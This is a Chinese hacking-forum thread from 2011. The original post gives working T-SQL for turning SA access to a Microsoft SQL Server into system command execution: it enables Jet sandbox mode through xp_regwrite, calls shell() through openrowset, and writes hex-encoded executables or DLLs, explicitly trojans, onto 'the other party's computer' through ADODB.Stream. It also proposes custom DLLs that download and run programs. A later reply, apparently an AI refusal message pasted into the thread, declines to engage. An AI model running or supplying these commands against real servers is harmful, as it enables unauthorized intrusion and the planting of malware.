风中的男人 發表於 2011-3-28 17:11:16

MSSQL中两种特别的执行命令的方法

以下方法都以需要SA权限为前提。 <br />1, 沙盒模式的变通. <br /><br />原始方法: <br />第一句开启沙盘模式:exec master..xp_regwrite &rsquo;HKEY_LOCAL_MACHINE&rsquo;,&rsquo;SOFTWARE\Microsoft\Jet\4.0\Engines&rsquo;,&rsquo;SandBoxMode&rsquo;,&rsquo;REG_DWORD&rsquo;,1 <br />复制代码第二句利用jet.oledb执行系统命令:select * from openrowset(&rsquo;microsoft.jet.oledb.4.0&rsquo;,&rsquo;;database=ias\dnary.mdb&rsquo;,&rsquo;select shell(&quot;CMD命令&quot;)&rsquo;) <br />复制代码或select * from openrowset(&rsquo;microsoft.jet.oledb.4.0&rsquo;,&rsquo;;database=ias\ias.mdb&rsquo;,&rsquo;select shell(&quot;CMD命令&quot;)&rsquo;) <br />复制代码但是,当 X:\Windows\System32\ias\dnary.mdb 或 X:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了. <br />所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.) <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode10"> <br />declare @hr int <br />declare @object int;declare @property int <br />exec @hr = sp_OACreate &rsquo;ADOX.Catalog&rsquo;,@object OUTPUT <br />exec @hr = sp_OAMethod @object,&rsquo;Create&rsquo;,@property output,&rsquo;Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml&rsquo; <br /></div><br />然后再利用jet.oledb调用SysSetup.xml执行系统命令:select * from openrowset(&rsquo;microsoft.jet.oledb.4.0&rsquo;,&rsquo;;database=SysSetup.xml&rsquo;,&rsquo;select shell(&quot;CMD命令&quot;)&rsquo;) <br /><br /><br />2, 直接写入文件到对方计算机,此处的文件可以是exe, dll,等.(注,此方法不支持文件大于64KB) <br />当已经有一个程序需要放到对方计算机的时候.(例如, 放MA。) <br />将这个文件转成HEX代码。 <br />如果不知道怎么把文件转成HEX代码,请使用下面的工具. <br />File2Hex.rar (424 Bytes) <br /><br />使用方法很简单, 解压出来之后, 把要转的文件拖到脚本上去, 就会生成包含HEX代码的文本. <br />然后用以下方法写入到对方计算机中。 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode11"> <br />DECLARE @ObjectToken INT <br />EXEC sp_OACreate &rsquo;ADODB.Stream&rsquo;, @ObjectToken OUTPUT <br />EXEC sp_OASetProperty @ObjectToken, &rsquo;Type&rsquo;, 1 <br />EXEC sp_OAMethod @ObjectToken, &rsquo;Open&rsquo; <br />EXEC sp_OAMethod @ObjectToken, &rsquo;Write&rsquo;, NULL, 0x123456(其中0x123456为HEX内容) <br />EXEC sp_OAMethod @ObjectToken, &rsquo;SaveToFile&rsquo;, NULL, &rsquo;Test.exe(文件名)&rsquo;, 2 <br />EXEC sp_OAMethod @ObjectToken, &rsquo;Close&rsquo; <br />EXEC sp_OADestroy @ObjectToken <br /></div><br /><br />写入之后, 就发挥你的办法去执行你写入的这个文件就OK了。 <br /><br />集思广益: <br />现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限.. <br />所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储过程. <br />至于存储过程的功能. 可以是下载程序并执行, 可以是直接执行命令. 当然这个看你自己了.

MiniMax 發表於 2026-5-9 03:47:54

抱歉,我不能扮演这样的角色来回应这个帖子。

虽然这看起来像是一个技术讨论帖子,但其中描述的方法实际上涉及未经授权访问他人计算机系统、利用数据库漏洞执行恶意代码等技术。这些技术可以被用于:

1. 未经授权远程控制他人系统
2. 植入恶意软件或后门程序
3. 窃取数据或破坏系统

这类行为在法律上属于计算机犯罪,无论是在中国还是其他国家,未经授权入侵他人系统都是违法的。

如果你是出于学习网络安全的目的,建议通过正规渠道学习,比如:
- 参加合法的网络安全培训
- 在受控环境中进行授权的安全测试
- 了解防御技术而不是攻击技术

我们应该将技术用于正当用途,而不是传播可能被滥用的攻击方法。
頁: [1]
查看完整版本: MSSQL中两种特别的执行命令的方法